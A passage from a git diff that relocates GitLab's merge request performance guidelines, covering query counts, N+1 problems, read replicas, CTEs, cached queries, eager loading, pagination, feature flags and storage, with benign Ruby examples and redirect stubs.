sticking](../../administration/postgresql/database_load_balancing.md#primary-sticking), GitLab uses the +primary for some time and reverts to secondaries after they have either caught up or after 30 seconds. +Doing this can lead to a considerable amount of unnecessary load on the primary. +To prevent switching to the primary [merge request 56849](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) introduced the +`without_sticky_writes` block. Typically, this method can be applied to prevent primary stickiness +after a trivial or insignificant write which doesn't affect the following queries in the same session. + +To learn when a usage timestamp update can lead the session to stick to the primary and how to +prevent it by using `without_sticky_writes`, see [merge request 57328](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328) + +As a counterpart of the `without_sticky_writes` utility, +[merge request 59167](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59167) introduced +`use_replicas_for_read_queries`. This method forces all read-only queries inside its block to read +replicas regardless of the current primary stickiness. +This utility is reserved for cases where queries can tolerate replication lag. + +Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, and so on). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily: + +- Custom queries (via `exec_query`, `execute_statement`, `execute`, and so on) +- Read-only transactions +- In-flight connection configuration set +- Sidekiq background jobs + +After the above queries are executed, GitLab +[sticks to the primary](../../administration/postgresql/database_load_balancing.md#primary-sticking). +To make the inside queries prefer using the replicas, +[merge request 59086](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59086) introduced +`fallback_to_replicas_for_ambiguous_queries`. This MR is also an example of how we redirected a +costly, time-consuming query to the replicas. + +## Use CTEs wisely + +Read about [complex queries on the relation object../database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure. + +CTEs have been effectively used as an optimization fence in many simpler cases, +such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277). +Beginning in PostgreSQL 12, CTEs are inlined then [optimized by default](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/). +Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`. + +When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11. +By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher. +`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running +(this behavior is implemented using a custom Arel node `Gitlab::Database::AsWithMaterialized` under the surface). + +WARNING: +Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher. + +## Cached Queries + +**Summary:** a merge request **should not** execute duplicated cached queries. + +Rails provides an [SQL Query Cache](../cached_queries.md#cached-queries-guidelines), +used to cache the results of database queries for the duration of the request. + +See [why cached queries are considered bad](../cached_queries.md#why-cached-queries-are-considered-bad) and +[how to detect them](../cached_queries.md#how-to-detect-cached-queries). + +The code introduced by a merge request, should not execute multiple duplicated cached queries. + +The total number of the queries (including cached ones) executed by the code modified or added by a merge request +should not increase unless absolutely necessary. +The number of executed queries (including cached queries) should not depend on +collection size. +You can write a test by passing the `skip_cached` variable to [QueryRecorder../database/query_recorder.md) to detect this and prevent regressions. + +As an example, say you have a CI pipeline. All pipeline builds belong to the same pipeline, +thus they also belong to the same project (`pipeline.project`): + +```ruby +pipeline_project = pipeline.project +# Project Load (0.6ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2 +build = pipeline.builds.first + +build.project == pipeline_project +# CACHE Project Load (0.0ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2 +# => true +``` + +When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates +the same pipeline project object. It turns out that associated objects do not point to the same in-memory object. + +If we try to serialize each build: + +```ruby +pipeline.builds.each do |build| + build.to_json(only: [:name], include: [project: { only: [:name]}]) +end +``` + +It re-instantiates project object for each build, instead of using the same in-memory object. + +In this particular case the workaround is fairly easy: + +```ruby +ActiveRecord::Associations::Preloader.new.preload(pipeline, [builds: :project]) + +pipeline.builds.each do |build| + build.to_json(only: [:name], include: [project: { only: [:name]}]) +end +``` + +`ActiveRecord::Associations::Preloader` uses the same in-memory object for the same project. +This avoids the cached SQL query and also avoids re-instantiation of the project object for each build. + +## Executing Queries in Loops + +**Summary:** SQL queries **must not** be executed in a loop unless absolutely +necessary. + +Executing SQL queries in a loop can result in many queries being executed +depending on the number of iterations in a loop. This may work fine for a +development environment with little data, but in a production environment this +can quickly spiral out of control. + +There are some cases where this may be needed. If this is the case this should +be clearly mentioned in the merge request description. + +## Batch process + +**Summary:** Iterating a single process to external services (for example, PostgreSQL, Redis, Object Storage) +should be executed in a **batch-style** to reduce connection overheads. + +For fetching rows from various tables in a batch-style, please see [Eager Loading](#eager-loading) section. + +### Example: Delete multiple files from Object Storage + +When you delete multiple files from object storage, like GCS, +executing a single REST API call multiple times is a quite expensive +process. Ideally, this should be done in a batch-style, for example, S3 provides +[batch deletion API](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html), +so it'd be a good idea to consider such an approach. + +The `FastDestroyAll` module might help this situation. It's a +small framework when you remove a bunch of database rows and its associated data +in a batch style. + +## Timeout + +**Summary:** You should set a reasonable timeout when the system invokes HTTP calls +to external services (such as Kubernetes), and it should be executed in Sidekiq, not +in Puma threads. + +Often, GitLab needs to communicate with an external service such as Kubernetes +clusters. In this case, it's hard to estimate when the external service finishes +the requested process, for example, if it's a user-owned cluster that's inactive for some reason, +GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)). +This could result in Puma timeout and should be avoided at all cost. + +You should set a reasonable timeout, gracefully handle exceptions and surface the +errors in UI or logging internally. + +Using [`ReactiveCaching`../utilities.md#reactivecaching) is one of the best solutions to fetch external data. + +## Keep database transaction minimal + +**Summary:** You should avoid accessing to external services like Gitaly during database +transactions, otherwise it leads to severe contention problems +as an open transaction basically blocks the release of a PostgreSQL backend connection. + +For keeping transaction as minimal as possible, please consider using `AfterCommitQueue` +module or `after_commit` AR hook. + +Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859) +that one request to Gitaly instance during transaction triggered a ~"priority::1" issue. + +## Eager Loading + +**Summary:** always eager load associations when retrieving more than one row. + +When retrieving multiple database records for which you need to use any +associations you **must** eager load these associations. For example, if you're +retrieving a list of blog posts and you want to display their authors you +**must** eager load the author associations. + +In other words, instead of this: + +```ruby +Post.all.each do |post| + puts post.author.name +end +``` + +You should use this: + +```ruby +Post.all.includes(:author).each do |post| + puts post.author.name +end +``` + +Also consider using [QueryRecoder tests](../database/query_recorder.md) to prevent a regression when eager loading. + +## Memory Usage + +**Summary:** merge requests **must not** increase memory usage unless absolutely +necessary. + +A merge request must not increase the memory usage of GitLab by more than the +absolute bare minimum required by the code. This means that if you have to parse +some large document (for example, an HTML document) it's best to parse it as a stream +whenever possible, instead of loading the entire input into memory. Sometimes +this isn't possible, in that case this should be stated explicitly in the merge +request. + +## Lazy Rendering of UI Elements + +**Summary:** only render UI elements when they are actually needed. + +Certain UI elements may not always be needed. For example, when hovering over a +diff line there's a small icon displayed that can be used to create a new +comment. Instead of always rendering these kind of elements they should only be +rendered when actually needed. This ensures we don't spend time generating +Haml/HTML when it's not used. + +## Use of Caching + +**Summary:** cache data in memory or in Redis when it's needed multiple times in +a transaction or has to be kept around for a certain time period. + +Sometimes certain bits of data have to be re-used in different places during a +transaction. In these cases this data should be cached in memory to remove the +need for running complex operations to fetch the data. You should use Redis if +data should be cached for a certain time period instead of the duration of the +transaction. + +For example, say you process multiple snippets of text containing username +mentions (for example, `Hello @alice` and `How are you doing @alice?`). By caching the +user objects for every username we can remove the need for running the same +query for every mention of `@alice`. + +Caching data per transaction can be done using +[RequestStore](https://github.com/steveklabnik/request_store) (use +`Gitlab::SafeRequestStore` to avoid having to remember to check +`RequestStore.active?`). Caching data in Redis can be done using +[Rails' caching system](https://guides.rubyonrails.org/caching_with_rails.html). + +## Pagination + +Each feature that renders a list of items as a table needs to include pagination. + +The main styles of pagination are: + +1. Offset-based pagination: user goes to a specific page, like 1. User sees the next page number, + and the total number of pages. This style is well supported by all components of GitLab. +1. Offset-based pagination, but without the count: user goes to a specific page, like 1. + User sees only the next page number, but does not see the total amount of pages. +1. Next page using keyset-based pagination: user can only go to next page, as we don't know how many pages + are available. +1. Infinite scrolling pagination: user scrolls the page and next items are loaded asynchronously. This is ideal, + as it has exact same benefits as the previous one. + +The ultimately scalable solution for pagination is to use Keyset-based pagination. +However, we don't have support for that at GitLab at that moment. You +can follow the progress looking at [API: Keyset Pagination](https://gitlab.com/groups/gitlab-org/-/epics/2039). + +Take into consideration the following when choosing a pagination strategy: + +1. It's very inefficient to calculate amount of objects that pass the filtering, + this operation usually can take seconds, and can time out, +1. It's very inefficient to get entries for page at higher ordinals, like 1000. + The database has to sort and iterate all previous items, and this operation usually + can result in substantial load put on database. + +You can find useful tips related to pagination in the [pagination guidelines../database/pagination_guidelines.md). + +## Badge counters + +Counters should always be truncated. It means that we don't want to present +the exact number over some threshold. The reason for that is for the cases where we want +to calculate exact number of items, we effectively need to filter each of them for +the purpose of knowing the exact number of items matching. + +From ~UX perspective it's often acceptable to see that you have over 1000+ pipelines, +instead of that you have 40000+ pipelines, but at a tradeoff of loading page for 2s longer. + +An example of this pattern is the list of pipelines and jobs. We truncate numbers to `1000+`, +but we show an accurate number of running pipelines, which is the most interesting information. + +There's a helper method that can be used for that purpose - `NumbersHelper.limited_counter_with_delimiter` - +that accepts an upper limit of counting rows. + +In some cases it's desired that badge counters are loaded asynchronously. +This can speed up the initial page load and give a better user experience overall. + +## Usage of feature flags + +Each feature that has performance critical elements or has a known performance deficiency +needs to come with feature flag to disable it. + +The feature flag makes our team more happy, because they can monitor the system and +quickly react without our users noticing the problem. + +Performance deficiencies should be addressed right away after we merge initial +changes. + +Read more about when and how feature flags should be used in +[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development). + +## Storage + +We can consider the following types of storages: + +- **Local temporary storage** (very-very short-term storage) This type of storage is system-provided storage, like a `/tmp` folder. + This is the type of storage that you should ideally use for all your temporary tasks. + The fact that each node has its own temporary storage makes scaling significantly easier. + This storage is also very often SSD-based, thus is significantly faster. + The local storage can easily be configured for the application with + the usage of `TMPDIR` variable. + +- **Shared temporary storage** (short-term storage) This type of storage is network-based temporary storage, + usually run with a common NFS server. As of Feb 2020, we still use this type of storage + for most of our implementations. Even though this allows the above limit to be significantly larger, + it does not really mean that you can use more. The shared temporary storage is shared by + all nodes. Thus, the job that uses significant amount of that space or performs a lot + of operations creates a contention on execution of all other jobs and request + across the whole application, this can easily impact stability of the whole GitLab. + Be respectful of that. + +- **Shared persistent storage** (long-term storage) This type of storage uses + shared network-based storage (for example, NFS). This solution is mostly used by customers running small + installations consisting of a few nodes. The files on shared storage are easily accessible, + but any job that is uploading or downloading data can create a serious contention to all other jobs. + This is also an approach by default used by Omnibus. + +- **Object-based persistent storage** (long term storage) this type of storage uses external + services like [AWS S3](https://en.wikipedia.org/wiki/Amazon_S3). The Object Storage + can be treated as infinitely scalable and redundant. Accessing this storage usually requires + downloading the file to manipulate it. The Object Storage can be considered as an ultimate + solution, as by definition it can be assumed that it can handle unlimited concurrent uploads + and downloads of files. This is also ultimate solution required to ensure that application can + run in containerized deployments (Kubernetes) at ease. + +### Temporary storage + +The storage on production nodes is really sparse. The application should be built +in a way that accommodates running under very limited temporary storage. +You can expect the system on which your code runs has a total of `1G-10G` +of temporary storage. However, this storage is really shared across all +jobs being run. If your job requires to use more than `100MB` of that space +you should reconsider the approach you have taken. + +Whatever your needs are, you should clearly document if you need to process files. +If you require more than `100MB`, consider asking for help from a maintainer +to work with you to possibly discover a better solution. + +#### Local temporary storage + +The usage of local storage is a desired solution to use, +especially since we work on deploying applications to Kubernetes clusters. +When you would like to use `Dir.mktmpdir`? In a case when you want for example +to extract/create archives, perform extensive manipulation of existing data, and so on. + +```ruby +Dir.mktmpdir('designs') do |path| + # do manipulation on path + # the path will be removed once + # we go out of the block +end +``` + +#### Shared temporary storage + +The usage of shared temporary storage is required if your intent +is to persistent file for a disk-based storage, and not Object Storage. +[Workhorse direct upload](../uploads/index.md#direct-upload) when accepting file +can write it to shared storage, and later GitLab Rails can perform a move operation. +The move operation on the same destination is instantaneous. +The system instead of performing `copy` operation just re-attaches file into a new place. + +Since this introduces extra complexity into application, you should only try +to re-use well established patterns (for example, `ObjectStorage` concern) instead of re-implementing it. + +The usage of shared temporary storage is otherwise deprecated for all other usages. + +### Persistent storage + +#### Object Storage + +It is required that all features holding persistent files support saving data +to Object Storage. Having a persistent storage in the form of shared volume across nodes +is not scalable, as it creates a contention on data access all nodes. + +GitLab offers the [ObjectStorage concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/uploaders/object_storage.rb) +that implements a seamless support for Shared and Object Storage-based persistent storage. + +#### Data access + +Each feature that accepts data uploads or allows to download them needs to use +[Workhorse direct upload](../uploads/index.md#direct-upload). It means that uploads needs to be +saved directly to Object Storage by Workhorse, and all downloads needs to be served +by Workhorse. + +Performing uploads/downloads via Puma is an expensive operation, +as it blocks the whole processing slot (thread) for the duration of the upload. + +Performing uploads/downloads via Puma also has a problem where the operation +can time out, which is especially problematic for slow clients. If clients take a long time +to upload/download the processing slot might be killed due to request processing +timeout (usually between 30s-60s). + +For the above reasons it is required that [Workhorse direct upload../uploads/index.md#direct-upload) is implemented +for all file uploads and downloads. diff --git a/doc/api/v3_to_v4.md b/doc/development/merge_request_diffs.md index 875f4528c0e..9ec7e6cae8b 100644 --- a/doc/api/v3_to_v4.md +++ b/doc/development/merge_request_diffs.md @@ -1,11 +1,11 @@ --- -redirect_to: 'https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md' -remove_date: '2023-01-31' +redirect_to: 'merge_request_concepts/diffs/development.md' +remove_date: '2023-04-10' --- -This document was moved to [another location](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md). +This document was moved to [another location](merge_request_concepts/diffs/development.md). -<!-- This redirect file can be deleted after <2023-01-31>. --> +<!-- This redirect file can be deleted after <2023-04-10>. --> <!-- Redirects that point to other docs in the same project expire in three months. --> <!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index fd78d02202f..1af81a8af9f 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -1,565 +1,11 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'merge_request_concepts/performance.md' +remove_date: '2023-04-10' --- -# Merge Request Performance Guidelines +This document was moved to [another location](merge_request_concepts/performance.md). -Each new introduced merge request **should be performant by default**. - -To ensure a merge request does not negatively impact performance of GitLab -_every_ merge request **should** adhere to the guidelines outlined in this -document. There are no exceptions to this rule unless specifically discussed -with and agreed upon by backend maintainers and performance specialists. - -It's also highly recommended that you read the following guides: - -- [Performance Guidelines](performance.md) -- [Avoiding downtime in migrations](database/avoiding_downtime_in_migrations.md) - -## Definition - -The term `SHOULD` per the [RFC 2119](https://www.ietf.org/rfc/rfc2119.txt) means: - -> This word, or the adjective "RECOMMENDED", mean that there -> may exist valid reasons in particular circumstances to ignore a -> particular item, but the full implications must be understood and -> carefully weighed before choosing a different course. - -Ideally, each of these tradeoffs should be documented -in the separate issues, labeled accordingly and linked -to original issue and epic. - -## Impact Analysis - -**Summary:** think about the impact your merge request may have on performance -and those maintaining a GitLab setup. - -Any change submitted can have an impact not only on the application itself but -also those maintaining it and those keeping it up and running (for example, production -engineers). As a result you should think carefully about the impact of your -merge request on not only the application but also on the people keeping it up -and running. - -Can the queries used potentially take down any critical services and result in -engineers being woken up in the night? Can a malicious user abuse the code to -take down a GitLab instance? Do my changes make loading a certain page -slower? Does execution time grow exponentially given enough load or data in the -database? - -These are all questions one should ask themselves before submitting a merge -request. It may sometimes be difficult to assess the impact, in which case you -should ask a performance specialist to review your code. See the "Reviewing" -section below for more information. - -## Performance Review - -**Summary:** ask performance specialists to review your code if you're not sure -about the impact. - -Sometimes it's hard to assess the impact of a merge request. In this case you -should ask one of the merge request reviewers to review your changes. You can -find a list of these reviewers at <https://about.gitlab.com/company/team/>. A reviewer -in turn can request a performance specialist to review the changes. - -## Think outside of the box - -Everyone has their own perception of how to use the new feature. -Always consider how users might be using the feature instead. Usually, -users test our features in a very unconventional way, -like by brute forcing or abusing edge conditions that we have. - -## Data set - -The data set the merge request processes should be known -and documented. The feature should clearly document what the expected -data set is for this feature to process, and what problems it might cause. - -If you would think about the following example that puts -a strong emphasis of data set being processed. -The problem is simple: you want to filter a list of files from -some Git repository. Your feature requests a list of all files -from the repository and perform search for the set of files. -As an author you should in context of that problem consider -the following: - -1. What repositories are planned to be supported? -1. How long it do big repositories like Linux kernel take? -1. Is there something that we can do differently to not process such a - big data set? -1. Should we build some fail-safe mechanism to contain - computational complexity? Usually it's better to degrade - the service for a single user instead of all users. - -## Query plans and database structure - -The query plan can tell us if we need additional -indexes, or expensive filtering (such as using sequential scans). - -Each query plan should be run against substantial size of data set. -For example, if you look for issues with specific conditions, -you should consider validating a query against -a small number (a few hundred) and a big number (100_000) of issues. -See how the query behaves if the result is a few -and a few thousand. - -This is needed as we have users using GitLab for very big projects and -in a very unconventional way. Even if it seems that it's unlikely -that such a big data set is used, it's still plausible that one -of our customers could encounter a problem with the feature. - -Understanding ahead of time how it behaves at scale, even if we accept it, -is the desired outcome. We should always have a plan or understanding of what is needed -to optimize the feature for higher usage patterns. - -Every database structure should be optimized and sometimes even over-described -in preparation for easy extension. The hardest part after some point is -data migration. Migrating millions of rows is always troublesome and -can have a negative impact on the application. - -To better understand how to get help with the query plan reviews -read this section on [how to prepare the merge request for a database review](database_review.md#how-to-prepare-the-merge-request-for-a-database-review). - -## Query Counts - -**Summary:** a merge request **should not** increase the total number of executed SQL -queries unless absolutely necessary. - -The total number of queries executed by the code modified or added by a merge request -must not increase unless absolutely necessary. When building features it's -entirely possible you need some extra queries, but you should try to keep -this at a minimum. - -As an example, say you introduce a feature that updates a number of database -rows with the same value. It may be very tempting (and easy) to write this using -the following pseudo code: - -```ruby -objects_to_update.each do |object| - object.some_field = some_value - object.save -end -``` - -This means running one query for every object to update. This code can -easily overload a database given enough rows to update or many instances of this -code running in parallel. This particular problem is known as the -["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](database/query_recorder.md) to detect this and prevent regressions. - -In this particular case the workaround is fairly easy: - -```ruby -objects_to_update.update_all(some_field: some_value) -``` - -This uses ActiveRecord's `update_all` method to update all rows in a single -query. This in turn makes it much harder for this code to overload a database. - -## Use read replicas when possible - -In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../administration/postgresql/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows. - -By default, queries use read-only replicas, but due to -[primary sticking](../administration/postgresql/database_load_balancing.md#primary-sticking), GitLab uses the -primary for some time and reverts to secondaries after they have either caught up or after 30 seconds. -Doing this can lead to a considerable amount of unnecessary load on the primary. -To prevent switching to the primary [merge request 56849](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) introduced the -`without_sticky_writes` block. Typically, this method can be applied to prevent primary stickiness -after a trivial or insignificant write which doesn't affect the following queries in the same session. - -To learn when a usage timestamp update can lead the session to stick to the primary and how to -prevent it by using `without_sticky_writes`, see [merge request 57328](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328) - -As a counterpart of the `without_sticky_writes` utility, -[merge request 59167](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59167) introduced -`use_replicas_for_read_queries`. This method forces all read-only queries inside its block to read -replicas regardless of the current primary stickiness. -This utility is reserved for cases where queries can tolerate replication lag. - -Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, and so on). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily: - -- Custom queries (via `exec_query`, `execute_statement`, `execute`, and so on) -- Read-only transactions -- In-flight connection configuration set -- Sidekiq background jobs - -After the above queries are executed, GitLab -[sticks to the primary](../administration/postgresql/database_load_balancing.md#primary-sticking). -To make the inside queries prefer using the replicas, -[merge request 59086](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59086) introduced -`fallback_to_replicas_for_ambiguous_queries`. This MR is also an example of how we redirected a -costly, time-consuming query to the replicas. - -## Use CTEs wisely - -Read about [complex queries on the relation object](database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure. - -CTEs have been effectively used as an optimization fence in many simpler cases, -such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277). -Beginning in PostgreSQL 12, CTEs are inlined then [optimized by default](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/). -Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`. - -When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11. -By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher. -`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running -(this behavior is implemented using a custom Arel node `Gitlab::Database::AsWithMaterialized` under the surface). - -WARNING: -Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher. - -## Cached Queries - -**Summary:** a merge request **should not** execute duplicated cached queries. - -Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines), -used to cache the results of database queries for the duration of the request. - -See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and -[how to detect them](cached_queries.md#how-to-detect-cached-queries). - -The code introduced by a merge request, should not execute multiple duplicated cached queries. - -The total number of the queries (including cached ones) executed by the code modified or added by a merge request -should not increase unless absolutely necessary. -The number of executed queries (including cached queries) should not depend on -collection size. -You can write a test by passing the `skip_cached` variable to [QueryRecorder](database/query_recorder.md) to detect this and prevent regressions. - -As an example, say you have a CI pipeline. All pipeline builds belong to the same pipeline, -thus they also belong to the same project (`pipeline.project`): - -```ruby -pipeline_project = pipeline.project -# Project Load (0.6ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2 -build = pipeline.builds.first - -build.project == pipeline_project -# CACHE Project Load (0.0ms) SELECT "projects".* FROM "projects" WHERE "projects"."id" = $1 LIMIT $2 -# => true -``` - -When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates -the same pipeline project object. It turns out that associated objects do not point to the same in-memory object. - -If we try to serialize each build: - -```ruby -pipeline.builds.each do |build| - build.to_json(only: [:name], include: [project: { only: [:name]}]) -end -``` - -It re-instantiates project object for each build, instead of using the same in-memory object. - -In this particular case the workaround is fairly easy: - -```ruby -ActiveRecord::Associations::Preloader.new.preload(pipeline, [builds: :project]) - -pipeline.builds.each do |build| - build.to_json(only: [:name], include: [project: { only: [:name]}]) -end -``` - -`ActiveRecord::Associations::Preloader` uses the same in-memory object for the same project. -This avoids the cached SQL query and also avoids re-instantiation of the project object for each build. - -## Executing Queries in Loops - -**Summary:** SQL queries **must not** be executed in a loop unless absolutely -necessary. - -Executing SQL queries in a loop can result in many queries being executed -depending on the number of iterations in a loop. This may work fine for a -development environment with little data, but in a production environment this -can quickly spiral out of control. - -There are some cases where this may be needed. If this is the case this should -be clearly mentioned in the merge request description. - -## Batch process - -**Summary:** Iterating a single process to external services (for example, PostgreSQL, Redis, Object Storage) -should be executed in a **batch-style** to reduce connection overheads. - -For fetching rows from various tables in a batch-style, please see [Eager Loading](#eager-loading) section. - -### Example: Delete multiple files from Object Storage - -When you delete multiple files from object storage, like GCS, -executing a single REST API call multiple times is a quite expensive -process. Ideally, this should be done in a batch-style, for example, S3 provides -[batch deletion API](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html), -so it'd be a good idea to consider such an approach. - -The `FastDestroyAll` module might help this situation. It's a -small framework when you remove a bunch of database rows and its associated data -in a batch style. - -## Timeout - -**Summary:** You should set a reasonable timeout when the system invokes HTTP calls -to external services (such as Kubernetes), and it should be executed in Sidekiq, not -in Puma threads. - -Often, GitLab needs to communicate with an external service such as Kubernetes -clusters. In this case, it's hard to estimate when the external service finishes -the requested process, for example, if it's a user-owned cluster that's inactive for some reason, -GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)). -This could result in Puma timeout and should be avoided at all cost. - -You should set a reasonable timeout, gracefully handle exceptions and surface the -errors in UI or logging internally. - -Using [`ReactiveCaching`](utilities.md#reactivecaching) is one of the best solutions to fetch external data. - -## Keep database transaction minimal - -**Summary:** You should avoid accessing to external services like Gitaly during database -transactions, otherwise it leads to severe contention problems -as an open transaction basically blocks the release of a PostgreSQL backend connection. - -For keeping transaction as minimal as possible, please consider using `AfterCommitQueue` -module or `after_commit` AR hook. - -Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859) -that one request to Gitaly instance during transaction triggered a ~"priority::1" issue. - -## Eager Loading - -**Summary:** always eager load associations when retrieving more than one row. - -When retrieving multiple database records for which you need to use any -associations you **must** eager load these associations. For example, if you're -retrieving a list of blog posts and you want to display their authors you -**must** eager load the author associations. - -In other words, instead of this: - -```ruby -Post.all.each do |post| - puts post.author.name -end -``` - -You should use this: - -```ruby -Post.all.includes(:author).each do |post| - puts post.author.name -end -``` - -Also consider using [QueryRecoder tests](database/query_recorder.md) to prevent a regression when eager loading. - -## Memory Usage - -**Summary:** merge requests **must not** increase memory usage unless absolutely -necessary. - -A merge request must not increase the memory usage of GitLab by more than the -absolute bare minimum required by the code. This means that if you have to parse -some large document (for example, an HTML document) it's best to parse it as a stream -whenever possible, instead of loading the entire input into memory. Sometimes -this isn't possible, in that case this should be stated explicitly in the merge -request. - -## Lazy Rendering of UI Elements - -**Summary:** only render UI elements when they are actually needed. - -Certain UI elements may not always be needed. For example, when hovering over a -diff line there's a small icon displayed that can be used to create a new -comment. Instead of always rendering these kind of elements they should only be -rendered when actually needed. This ensures we don't spend time generating -Haml/HTML when it's not used. - -## Use of Caching - -**Summary:** cache data in memory or in Redis when it's needed multiple times in -a transaction or has to be kept around for a certain time period. - -Sometimes certain bits of data have to be re-used in different places during a -transaction. In these cases this data should be cached in memory to remove the -need for running complex operations to fetch the data. You should use Redis if -data should be cached for a certain time period instead of the duration of the -transaction. - -For example, say you process multiple snippets of text containing username -mentions (for example, `Hello @alice` and `How are you doing @alice?`). By caching the -user objects for every username we can remove the need for running the same -query for every mention of `@alice`. - -Caching data per transaction can be done using -[RequestStore](https://github.com/steveklabnik/request_store) (use -`Gitlab::SafeRequestStore` to avoid having to remember to check -`RequestStore.active?`). Caching data in Redis can be done using -[Rails' caching system](https://guides.rubyonrails.org/caching_with_rails.html). - -## Pagination - -Each feature that renders a list of items as a table needs to include pagination. - -The main styles of pagination are: - -1. Offset-based pagination: user goes to a specific page, like 1. User sees the next page number, - and the total number of pages. This style is well supported by all components of GitLab. -1. Offset-based pagination, but without the count: user goes to a specific page, like 1. - User sees only the next page number, but does not see the total amount of pages. -1. Next page using keyset-based pagination: user can only go to next page, as we don't know how many pages - are available. -1. Infinite scrolling pagination: user scrolls the page and next items are loaded asynchronously. This is ideal, - as it has exact same benefits as the previous one. - -The ultimately scalable solution for pagination is to use Keyset-based pagination. -However, we don't have support for that at GitLab at that moment. You -can follow the progress looking at [API: Keyset Pagination](https://gitlab.com/groups/gitlab-org/-/epics/2039). - -Take into consideration the following when choosing a pagination strategy: - -1. It's very inefficient to calculate amount of objects that pass the filtering, - this operation usually can take seconds, and can time out, -1. It's very inefficient to get entries for page at higher ordinals, like 1000. - The database has to sort and iterate all previous items, and this operation usually - can result in substantial load put on database. - -You can find useful tips related to pagination in the [pagination guidelines](database/pagination_guidelines.md). - -## Badge counters - -Counters should always be truncated. It means that we don't want to present -the exact number over some threshold. The reason for that is for the cases where we want -to calculate exact number of items, we effectively need to filter each of them for -the purpose of knowing the exact number of items matching. - -From ~UX perspective it's often acceptable to see that you have over 1000+ pipelines, -instead of that you have 40000+ pipelines, but at a tradeoff of loading page for 2s longer. - -An example of this pattern is the list of pipelines and jobs. We truncate numbers to `1000+`, -but we show an accurate number of running pipelines, which is the most interesting information. - -There's a helper method that can be used for that purpose - `NumbersHelper.limited_counter_with_delimiter` - -that accepts an upper limit of counting rows. - -In some cases it's desired that badge counters are loaded asynchronously. -This can speed up the initial page load and give a better user experience overall. - -## Usage of feature flags - -Each feature that has performance critical elements or has a known performance deficiency -needs to come with feature flag to disable it. - -The feature flag makes our team more happy, because they can monitor the system and -quickly react without our users noticing the problem. - -Performance deficiencies should be addressed right away after we merge initial -changes. - -Read more about when and how feature flags should be used in -[Feature flags in 